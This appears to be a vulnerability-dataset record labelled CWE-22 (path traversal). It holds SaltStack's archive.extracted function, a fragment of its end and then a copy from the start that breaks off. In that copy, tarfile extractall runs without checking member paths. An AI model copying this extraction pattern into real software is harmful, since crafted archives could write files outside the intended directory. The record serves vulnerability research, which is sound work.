                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            enforce_dirs = [enforce_ownership_on]
            enforce_files = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __salt__['state.single']('file.directory',
                                                      full_path,
                                                      user=user,
                                                      group=group,
                                                      recurse=recurse,
                                                      test=__opts__['test'])
                try:
                    dir_result = dir_result[next(iter(dir_result))]
                except AttributeError:
                    pass
                log.debug('file.directory: %s', dir_result)

                if __opts__['test']:
                    if dir_result.get('pchanges'):
                        ret['changes']['updated ownership'] = True
                else:
                    try:
                        if dir_result['result']:
                            if dir_result['changes']:
                                ret['changes']['updated ownership'] = True
                        else:
                            enforce_failed.append(full_path)
                    except (KeyError, TypeError):
                        log.warning(
                            'Bad state return %s for file.directory state on %s',
                            dir_result, dirname
                        )

        for filename in enforce_files:
            full_path = os.path.join(name, filename)
            try:
                # Using os.stat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.stat directly will speed
                # things up a bit.
                file_stat = os.stat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.chown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(source_match, name)
            if not keep:
                log.debug('Cleaning cached source file %s', cached_source)
                try:
                    os.remove(cached_source)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        log.error(
                            'Failed to clean cached source file %s: %s',
                            cached_source, exc.__str__()
                        )
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'Can\'t extract content of {0}'.format(source_match)

    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_levle dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    return ret",CWE-22,saltstack/salt,62f998d013f51b2d54d3b6935341707b7ce5c284,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              user=None,
              group=None,
              if_missing=None,
              keep=False,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **ZIP Archive Handling**

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Password-protected ZIP Archives* (only supported by
          :py:func:`archive.unzip <salt.modules.archive.unzip>`) -
          :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` is not
          be permitted to extract password-protected ZIP archives, as
          attempting to do so will cause the unzip command to block on user
          input. The :py:func:`archive.is_encrypted
          <salt.modules.archive.unzip>` function will be used to determine if
          the archive is password-protected. If it is, then the ``password``
          argument will be required for the state to proceed. If
          ``use_cmd_unzip`` is specified and set to ``True``, then the state
          will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.1

    source_hash_update
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite exsiting files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
            The ``tar_options`` and ``zip_options`` parameters have been
            deprecated in favor of a single argument name.
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using xz-utils_ and extracted using ``tar xvf``. This
            is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    tar_options
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    zip_options
        .. versionadded:: 2016.3.1
        .. deprecated:: 2016.11.0
            Use ``options`` instead.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of xz-utils_) are supported automatically. However, for archives
        compressed using other compression types, CLI options must be passed to
        :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    keep : False
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. After extraction, these source archives will be removed
        unless this argument is set to ``True``.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz-utils: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - tar_options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.clean_kwargs(**kwargs)

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if name is None:
            # Only way this happens is if some doofus specifies ""- name: None""
            # in their SLS file. Prevent tracebacks by failing gracefully.
            ret['comment'] = 'None is not a valid directory path'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip('/')
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += '/'
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if user or group:
        if salt.utils.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if not uid:
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if not gid:
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    source_hash_basename = urlparsed_source.path or urlparsed_source.netloc

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    tar_options = kwargs.pop('tar_options', None)
    zip_options = kwargs.pop('zip_options', None)
    if tar_options:
        msg = ('The \'tar_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = tar_options
    elif zip_options:
        msg = ('The \'zip_options\' argument has been deprecated, please use '
               '\'options\' instead.')
        salt.utils.warn_until('Oxygen', msg)
        ret.setdefault('warnings', []).append(msg)
        options = zip_options

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output and not isinstance(trim_output, (bool, six.integer_types)):
        try:
            # Try to handle cases where trim_output was passed as a
            # string-ified integer.
            trim_output = int(trim_output)
        except TypeError:
            ret['comment'] = (
                'Invalid value for trim_output, must be True/False or an '
                'integer'
            )
            return ret

    cached_source = os.path.join(
        __opts__['cachedir'],
        'files',
        __env__,
        re.sub(r'[:/\\]', '_', source_hash_basename),
    )

    if os.path.isdir(cached_source):
        # Prevent a traceback from attempting to read from a directory path
        salt.utils.rm_rf(cached_source)

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum']('',
                                                         source,
                                                         source_hash,
                                                         source_hash_name,
                                                         __env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

        if source_hash_update:
            if _compare_checksum(cached_source, source_sum):
                ret['result'] = True
                ret['comment'] = \
                    'Hash {0} has not changed'.format(source_sum['hsum'])
                return ret
    else:
        source_sum = {}

    if not os.path.isfile(cached_source):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be downloaded to cache'.format(source_match)
            return ret

        log.debug('%s is not in cache, downloading it', source_match)

        file_result = __salt__['state.single']('file.managed',
                                               cached_source,
                                               source=source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               makedirs=True,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))

        # Get actual state result. The state.single return is a single-element
        # dictionary with the state's unique ID at the top level, and its value
        # being the state's return dictionary. next(iter(dict_name)) will give
        # us the value of the first key, so
        # file_result[next(iter(file_result))] will give us the results of the
        # state.single we just ran.
        try:
            file_result = file_result[next(iter(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source_match))
                return file_result
    else:
        log.debug('Archive %s is already in cache', source_match)

    if source_hash:
        _update_checksum(cached_source, source_sum)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached_source,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        source_match
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached_source,
                                            archive_format=archive_format,
                                            options=list_options,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or len(contents['top_level_files']) > 0):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    # Check to see if we need to extract the archive. Using os.stat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    extraction_needed = False
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.stat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            extraction_needed = False
            for path_list, func in ((contents['dirs'], stat.S_ISDIR),
                                    (contents['files'], stat.S_ISREG)):
                for path in path_list:
                    full_path = os.path.join(name, path)
                    try:
                        path_mode = os.stat(full_path).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                        else:
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                if not force:
                    msg = (
                        'The below paths (relative to {0}) exist, but are the '
                        'incorrect type (i.e. file instead of directory or '
                        'vice-versa). To proceed with extraction, set '
                        '\'force\' to True.\n'.format(name)
                    )
                    for path in incorrect_type:
                        msg += '\n- {0}'.format(path)
                    ret['comment'] = msg
                else:
                    errors = []
                    for path in incorrect_type:
                        full_path = os.path.join(name, path)
                        try:
                            salt.utils.rm_rf(full_path)
                            ret['changes'].setdefault(
                                'removed', []).append(full_path)
                        except OSError as exc:
                            if exc.errno != errno.ENOENT:
                                errors.append(exc.__str__())
                    if errors:
                        msg = (
                            'One or more paths existed by were the incorrect '
                            'type (i.e. file instead of directory or '
                            'vice-versa), but could not be removed. The '
                            'following errors were observed:\n'
                        )
                        for error in errors:
                            msg += '\n- {0}'.format(error)
                        ret['comment'] = msg
                        return ret

    created_destdir = False

    if extraction_needed:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    source_match,
                    name
                )
            return ret

        if not os.path.isdir(name):
            __salt__['file.makedirs'](name, user=user)
            created_destdir = True

        log.debug('Extracting {0} to {1}'.format(cached_source, name))
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    files = __salt__['archive.cmd_unzip'](cached_source,
                                                          name,
                                                          options=options,
                                                          trim_output=trim_output,
                                                          password=password,
                                                          **kwargs)
                else:
                    files = __salt__['archive.unzip'](cached_source,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      **kwargs)
            elif archive_format == 'rar':
                files = __salt__['archive.unrar'](cached_source,
                                                  name,
                                                  trim_output=trim_output,
                                                  **kwargs)
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached_source, 'r')) as tar:
                            tar.extractall(name)
                            files = tar.getnames()
                    except tarfile.ReadError:
                        if salt.utils.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-l', cached_source],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using xz-utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached_source)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
